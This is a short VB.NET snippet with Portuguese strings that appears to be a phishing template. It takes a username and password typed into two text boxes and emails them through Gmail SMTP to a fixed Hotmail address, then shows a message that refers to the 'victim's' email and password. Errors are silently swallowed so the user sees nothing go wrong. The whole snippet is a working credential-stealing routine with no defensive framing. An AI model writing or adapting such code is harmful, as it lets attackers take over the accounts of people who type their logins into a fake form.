Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress("seuemail@gmail.com")
            MyMailMessage.To.Add("email_bonito@hotmail.com")
            MyMailMessage.Subject = "Usuario ou email:" + TextBox1.Text
            MyMailMessage.Body = "Senha:" + TextBox2.Text
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("seuemail@gmail.com", "senhaaqui")
            SMTP.Send(MyMailMessage)
            TextBox2.Text = ""
        Catch ex As Exception
        End Try
        MsgBox("Alguma mensagem depois de enviar o e-mail e a senha da vitima")